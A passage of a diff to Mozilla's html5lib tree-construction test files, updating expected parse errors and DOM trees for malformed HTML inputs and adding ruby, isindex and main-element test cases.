+51: Unclosed element “mn”.
+#document-fragment
+math mn
+#document
+| <b>
+| <math mglyph>
+| <i>
+| <math malignmark>
+| <u>
+| <mn>
+| "X"
+
+#data
+<malignmark></malignmark>
+#errors
+#document-fragment
+math mn
+#document
+| <math malignmark>
+
+#data
+<div></div>
+#errors
+#document-fragment
+math mn
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math mn
+#document
+| <figure>
+
+#data
+<b></b><mglyph/><i></i><malignmark/><u></u><mo/>X
+#errors
+51: Self-closing syntax (“/>”) used on a non-void HTML element. Ignoring the slash and treating as a start tag.
+52: End of file seen and there were open elements.
+51: Unclosed element “mo”.
+#document-fragment
+math mo
+#document
+| <b>
+| <math mglyph>
+| <i>
+| <math malignmark>
+| <u>
+| <mo>
+| "X"
+
+#data
+<malignmark></malignmark>
+#errors
+#document-fragment
+math mo
+#document
+| <math malignmark>
+
+#data
+<div></div>
+#errors
+#document-fragment
+math mo
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math mo
+#document
+| <figure>
+
+#data
+<b></b><mglyph/><i></i><malignmark/><u></u><mi/>X
+#errors
+51: Self-closing syntax (“/>”) used on a non-void HTML element. Ignoring the slash and treating as a start tag.
+52: End of file seen and there were open elements.
+51: Unclosed element “mi”.
+#document-fragment
+math mi
+#document
+| <b>
+| <math mglyph>
+| <i>
+| <math malignmark>
+| <u>
+| <mi>
+| "X"
+
+#data
+<malignmark></malignmark>
+#errors
+#document-fragment
+math mi
+#document
+| <math malignmark>
+
+#data
+<div></div>
+#errors
+#document-fragment
+math mi
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math mi
+#document
+| <figure>
+
+#data
+<b></b><mglyph/><i></i><malignmark/><u></u><mtext/>X
+#errors
+51: Self-closing syntax (“/>”) used on a non-void HTML element. Ignoring the slash and treating as a start tag.
+52: End of file seen and there were open elements.
+51: Unclosed element “mtext”.
+#document-fragment
+math mtext
+#document
+| <b>
+| <math mglyph>
+| <i>
+| <math malignmark>
+| <u>
+| <mtext>
+| "X"
+
+#data
+<malignmark></malignmark>
+#errors
+#document-fragment
+math mtext
+#document
+| <math malignmark>
+
+#data
+<div></div>
+#errors
+#document-fragment
+math mtext
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math mtext
+#document
+| <figure>
+
+#data
+<div></div>
+#errors
+5: HTML start tag “div” in a foreign namespace context.
+#document-fragment
+math annotation-xml
+#document
+| <math div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math annotation-xml
+#document
+| <math figure>
+
+#data
+<div></div>
+#errors
+5: HTML start tag “div” in a foreign namespace context.
+#document-fragment
+math math
+#document
+| <math div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math math
+#document
+| <math figure>
+
+#data
+<div></div>
+#errors
+#document-fragment
+svg foreignObject
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+svg foreignObject
+#document
+| <figure>
+
+#data
+<div></div>
+#errors
+#document-fragment
+svg title
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+svg title
+#document
+| <figure>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+svg desc
+#document
+| <figure>
+
+#data
+<div><h1>X</h1></div>
+#errors
+5: HTML start tag “div” in a foreign namespace context.
+9: HTML start tag “h1” in a foreign namespace context.
+#document-fragment
+svg svg
+#document
+| <svg div>
+| <svg h1>
+| "X"
+
+#data
+<div></div>
+#errors
+5: HTML start tag “div” in a foreign namespace context.
+#document-fragment
+svg svg
+#document
+| <svg div>
+
+#data
+<div></div>
+#errors
+#document-fragment
+svg desc
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+svg desc
+#document
+| <figure>
+
+#data
+<plaintext><foo>
+#errors
+16: End of file seen and there were open elements.
+11: Unclosed element “plaintext”.
+#document-fragment
+svg desc
+#document
+| <plaintext>
+| "<foo>"
+
+#data
+<frameset>X
+#errors
+6: Stray start tag “frameset”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+<head>X
+#errors
+6: Stray start tag “head”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+<body>X
+#errors
+6: Stray start tag “body”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+<html>X
+#errors
+6: Stray start tag “html”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+<html class="foo">X
+#errors
+6: Stray start tag “html”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+<body class="foo">X
+#errors
+6: Stray start tag “body”.
+#document-fragment
+svg desc
+#document
+| "X"
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/html5test-com.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/html5test-com.dat
index d7cb71db0..8c6ec40cd 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/html5test-com.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/html5test-com.dat
@@ -1,6 +1,8 @@
#data
<div<div>
#errors
+(1,9): expected-doctype-but-got-start-tag
+(1,9): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -10,6 +12,9 @@
#data
<div foo<bar=''>
#errors
+(1,9): invalid-character-in-attribute-name
+(1,16): expected-doctype-but-got-start-tag
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -20,6 +25,10 @@
#data
<div foo=`bar`>
#errors
+(1,10): equals-in-unquoted-attribute-value
+(1,14): unexpected-character-in-unquoted-attribute-value
+(1,15): expected-doctype-but-got-start-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -30,6 +39,9 @@
#data
<div \"foo=''>
#errors
+(1,7): invalid-character-in-attribute-name
+(1,14): expected-doctype-but-got-start-tag
+(1,14): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -40,6 +52,7 @@
#data
<a href='\nbar'></a>
#errors
+(1,16): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -59,6 +72,7 @@
#data
&lang;&rang;
#errors
+(1,6): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -68,6 +82,7 @@
#data
&apos;
#errors
+(1,6): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -77,6 +92,7 @@
#data
&ImaginaryI;
#errors
+(1,12): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -86,6 +102,7 @@
#data
&Kopf;
#errors
+(1,6): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -95,6 +112,7 @@
#data
&notinva;
#errors
+(1,9): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -104,6 +122,8 @@
#data
<?import namespace="foo" implementation="#bar">
#errors
+(1,1): expected-tag-name-but-got-question-mark
+(1,47): expected-doctype-but-got-eof
#document
| <!-- ?import namespace="foo" implementation="#bar" -->
| <html>
@@ -113,6 +133,8 @@
#data
<!--foo--bar-->
#errors
+(1,10): unexpected-char-in-comment
+(1,15): expected-doctype-but-got-eof
#document
| <!-- foo--bar -->
| <html>
@@ -122,6 +144,8 @@
#data
<![CDATA[x]]>
#errors
+(1,2): expected-dashes-or-doctype
+(1,13): expected-doctype-but-got-eof
#document
| <!-- [CDATA[x]] -->
| <html>
@@ -131,6 +155,8 @@
#data
<textarea><!--</textarea>--></textarea>
#errors
+(1,10): expected-doctype-but-got-start-tag
+(1,39): unexpected-end-tag
#document
| <html>
| <head>
@@ -142,6 +168,7 @@
#data
<textarea><!--</textarea>-->
#errors
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -153,6 +180,8 @@
#data
<style><!--</style>--></style>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,30): unexpected-end-tag
#document
| <html>
| <head>
@@ -164,6 +193,7 @@
#data
<style><!--</style>-->
#errors
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -175,6 +205,7 @@
#data
<ul><li>A </li> <li>B</li></ul>
#errors
+(1,4): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -189,6 +220,14 @@
#data
<table><form><input type=hidden><input></form><div></div></table>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,13): unexpected-form-in-table
+(1,32): unexpected-hidden-input-in-table
+(1,39): unexpected-start-tag-implies-table-voodoo
+(1,46): unexpected-end-tag-implies-table-voodoo
+(1,46): unexpected-end-tag
+(1,51): unexpected-start-tag-implies-table-voodoo
+(1,57): unexpected-end-tag-implies-table-voodoo
#document
| <html>
| <head>
@@ -203,6 +242,9 @@
#data
<i>A<b>B<p></i>C</b>D
#errors
+(1,3): expected-doctype-but-got-start-tag
+(1,15): adoption-agency-1.3
+(1,20): adoption-agency-1.3
#document
| <html>
| <head>
@@ -221,6 +263,7 @@
#data
<div></div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -230,6 +273,7 @@
#data
<svg></svg>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -239,6 +283,7 @@
#data
<math></math>
#errors
+(1,6): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/inbody01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/inbody01.dat
index 3f2bd374c..10f6520f6 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/inbody01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/inbody01.dat
@@ -1,6 +1,9 @@
#data
<button>1</foo>
#errors
+(1,8): expected-doctype-but-got-start-tag
+(1,15): unexpected-end-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -11,6 +14,9 @@
#data
<foo>1<p>2</foo>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,16): unexpected-end-tag
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -23,6 +29,8 @@
#data
<dd>1</foo>
#errors
+(1,4): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
#document
| <html>
| <head>
@@ -33,6 +41,9 @@
#data
<foo>1<dd>2</foo>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,17): unexpected-end-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/isindex.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/isindex.dat
index 88325ffe6..b187e11b7 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/isindex.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/isindex.dat
@@ -1,6 +1,8 @@
#data
<isindex>
#errors
+(1,9): expected-doctype-but-got-start-tag
+(1,9): deprecated-tag
#document
| <html>
| <head>
@@ -16,6 +18,8 @@
#data
<isindex name="A" action="B" prompt="C" foo="D">
#errors
+(1,48): expected-doctype-but-got-start-tag
+(1,48): deprecated-tag
#document
| <html>
| <head>
@@ -33,8 +37,31 @@
#data
<form><isindex>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,15): deprecated-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
| <body>
| <form>
+
+#data
+<body><isindex><form>
+#errors
+6: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
+15: “isindex” seen.
+21: End of file seen and there were open elements.
+21: Unclosed element “form”.
+#document
+| <html>
+| <head>
+| <body>
+| <form>
+| <hr>
+| <label>
+| "This is a searchable index. Enter search keywords: "
+| <input>
+| name="isindex"
+| <hr>
+| <form>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/main-element.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/main-element.dat
index 98e8e3ad3..0d2102ed3 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/main-element.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/main-element.dat
@@ -1,8 +1,7 @@
#data
<!doctype html><p>foo<main>bar<p>baz
#errors
-36: End of file seen and there were open elements.
-27: Unclosed element “main”.
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -27,3 +26,19 @@
| <p>
| "foo"
| "bar"
+
+#data
+<!DOCTYPE html>xxx<svg><x><g><a><main><b>
+#errors
+#document
+| <!DOCTYPE html>
+| <html>
+| <head>
+| <body>
+| "xxx"
+| <svg svg>
+| <svg x>
+| <svg g>
+| <svg a>
+| <svg main>
+| <b>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/moz.build b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/moz.build
deleted file mode 100644
index dec14c346..000000000
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/moz.build
+++ /dev/null
@@ -1,7 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-TEST_DIRS += ['scripted']
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.dat
index a5ebb1eb2..3ee8cec90 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes-plain-text-unsafe.dat
Binary files differ
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes.dat
index 5a9208465..1647d7f23 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/pending-spec-changes.dat
@@ -1,9 +1,9 @@
#data
<input type="hidden"><frameset>
#errors
-21: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-31: “frameset” start tag seen.
-31: End of file seen and there were open elements.
+(1,21): expected-doctype-but-got-start-tag
+(1,31): unexpected-start-tag
+(1,31): eof-in-frameset
#document
| <html>
| <head>
@@ -12,10 +12,8 @@
#data
<!DOCTYPE html><table><caption><svg>foo</table>bar
#errors
-47: End tag “table” did not match the name of the current open element (“svg”).
-47: “table” closed but “caption” was still open.
-47: End tag “table” seen, but there were open elements.
-36: Unclosed element “svg”.
+(1,47): unexpected-end-tag
+(1,47): end-table-tag-in-caption
#document
| <!DOCTYPE html>
| <html>
@@ -30,14 +28,10 @@
#data
<table><tr><td><svg><desc><td></desc><circle>
#errors
-7: Start tag seen without seeing a doctype first. Expected “<!DOCTYPE html>”.
-30: A table cell was implicitly closed, but there were open elements.
-26: Unclosed element “desc”.
-20: Unclosed element “svg”.
-37: Stray end tag “desc”.
-45: End of file seen and there were open elements.
-45: Unclosed element “circle”.
-7: Unclosed element “table”.
+(1,7): expected-doctype-but-got-start-tag
+(1,30): unexpected-cell-end-tag
+(1,37): unexpected-end-tag
+(1,45): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/plain-text-unsafe.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/plain-text-unsafe.dat
index 04cc11fb9..f40dd5760 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/plain-text-unsafe.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/plain-text-unsafe.dat
Binary files differ
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/ruby.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/ruby.dat
new file mode 100644
index 000000000..1ca8016cf
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/ruby.dat
@@ -0,0 +1,298 @@
+#data
+<html><ruby>a<rb>b<rb></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rb>
+
+#data
+<html><ruby>a<rb>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rb>b<rtc></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rtc>
+
+#data
+<html><ruby>a<rb>b<rp></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rp>
+
+#data
+<html><ruby>a<rb>b<span></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <span>
+
+#data
+<html><ruby>a<rt>b<rb></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <rb>
+
+#data
+<html><ruby>a<rt>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rt>b<rtc></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <rtc>
+
+#data
+<html><ruby>a<rt>b<rp></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <rp>
+
+#data
+<html><ruby>a<rt>b<span></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <span>
+
+#data
+<html><ruby>a<rtc>b<rb></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <rb>
+
+#data
+<html><ruby>a<rtc>b<rt>c<rt>d</ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <rt>
+| "c"
+| <rt>
+| "d"
+
+#data
+<html><ruby>a<rtc>b<rtc></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <rtc>
+
+#data
+<html><ruby>a<rtc>b<rp></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <rp>
+
+#data
+<html><ruby>a<rtc>b<span></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <span>
+
+#data
+<html><ruby>a<rp>b<rb></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <rb>
+
+#data
+<html><ruby>a<rp>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rp>b<rtc></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <rtc>
+
+#data
+<html><ruby>a<rp>b<rp></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <rp>
+
+#data
+<html><ruby>a<rp>b<span></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <span>
+
+#data
+<html><ruby><rtc><ruby>a<rb>b<rt></ruby></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| <rtc>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rt>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scriptdata01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scriptdata01.dat
index 76b67f4ba..710f5414b 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scriptdata01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scriptdata01.dat
@@ -1,6 +1,7 @@
#data
FOO<script>'Hello'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -13,6 +14,7 @@ FOO<script>'Hello'</script>BAR
#data
FOO<script></script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -24,6 +26,7 @@ FOO<script></script>BAR
#data
FOO<script></script >BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -35,6 +38,8 @@ FOO<script></script >BAR
#data
FOO<script></script/>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,21): self-closing-flag-on-end-tag
#document
| <html>
| <head>
@@ -46,6 +51,8 @@ FOO<script></script/>BAR
#data
FOO<script></script/ >BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,20): unexpected-character-after-solidus-in-tag
#document
| <html>
| <head>
@@ -57,6 +64,8 @@ FOO<script></script/ >BAR
#data
FOO<script type="text/plain"></scriptx>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,42): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -69,6 +78,8 @@ FOO<script type="text/plain"></scriptx>BAR
#data
FOO<script></script foo=">" dd>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,31): attributes-in-end-tag
#document
| <html>
| <head>
@@ -80,6 +91,7 @@ FOO<script></script foo=">" dd>BAR
#data
FOO<script>'<'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -92,6 +104,7 @@ FOO<script>'<'</script>BAR
#data
FOO<script>'<!'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -104,6 +117,7 @@ FOO<script>'<!'</script>BAR
#data
FOO<script>'<!-'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -116,6 +130,7 @@ FOO<script>'<!-'</script>BAR
#data
FOO<script>'<!--'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -128,6 +143,7 @@ FOO<script>'<!--'</script>BAR
#data
FOO<script>'<!---'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -140,6 +156,7 @@ FOO<script>'<!---'</script>BAR
#data
FOO<script>'<!-->'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -152,6 +169,7 @@ FOO<script>'<!-->'</script>BAR
#data
FOO<script>'<!-->'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -164,6 +182,7 @@ FOO<script>'<!-->'</script>BAR
#data
FOO<script>'<!-- potato'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -176,6 +195,7 @@ FOO<script>'<!-- potato'</script>BAR
#data
FOO<script>'<!-- <sCrIpt'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -188,6 +208,9 @@ FOO<script>'<!-- <sCrIpt'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt>'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,56): expected-script-data-but-got-eof
+(1,56): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -200,6 +223,9 @@ FOO<script type="text/plain">'<!-- <sCrIpt>'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt> -'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,58): expected-script-data-but-got-eof
+(1,58): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -212,6 +238,9 @@ FOO<script type="text/plain">'<!-- <sCrIpt> -'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt> --'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,59): expected-script-data-but-got-eof
+(1,59): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -224,6 +253,7 @@ FOO<script type="text/plain">'<!-- <sCrIpt> --'</script>BAR
#data
FOO<script>'<!-- <sCrIpt> -->'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -236,6 +266,9 @@ FOO<script>'<!-- <sCrIpt> -->'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt> --!>'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,61): expected-script-data-but-got-eof
+(1,61): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -248,6 +281,9 @@ FOO<script type="text/plain">'<!-- <sCrIpt> --!>'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt> -- >'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,61): expected-script-data-but-got-eof
+(1,61): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -260,6 +296,9 @@ FOO<script type="text/plain">'<!-- <sCrIpt> -- >'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt '</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,56): expected-script-data-but-got-eof
+(1,56): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -272,6 +311,9 @@ FOO<script type="text/plain">'<!-- <sCrIpt '</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt/'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,56): expected-script-data-but-got-eof
+(1,56): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -284,6 +326,7 @@ FOO<script type="text/plain">'<!-- <sCrIpt/'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt\'</script>BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -297,6 +340,7 @@ FOO<script type="text/plain">'<!-- <sCrIpt\'</script>BAR
#data
FOO<script type="text/plain">'<!-- <sCrIpt/'</script>BAR</script>QUX
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/Makefile.in b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/Makefile.in
deleted file mode 100644
index dea1f9d57..000000000
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/Makefile.in
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-relativesrcdir = @relativesrcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-MOCHITEST_FILES = adoption01.dat \
- webkit01.dat \
- ark.dat \
- $(NULL)
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/moz.build b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/moz.build
deleted file mode 100644
index 895d11993..000000000
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/scripted/moz.build
+++ /dev/null
@@ -1,6 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tables01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tables01.dat
index c4b47e48a..f0caaa3c5 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tables01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tables01.dat
@@ -1,6 +1,9 @@
#data
<table><th>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,11): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -13,6 +16,9 @@
#data
<table><td>
#errors
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,11): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -25,6 +31,8 @@
#data
<table><col foo='bar'>
#errors
+(1,7): expected-doctype-but-got-start-tag
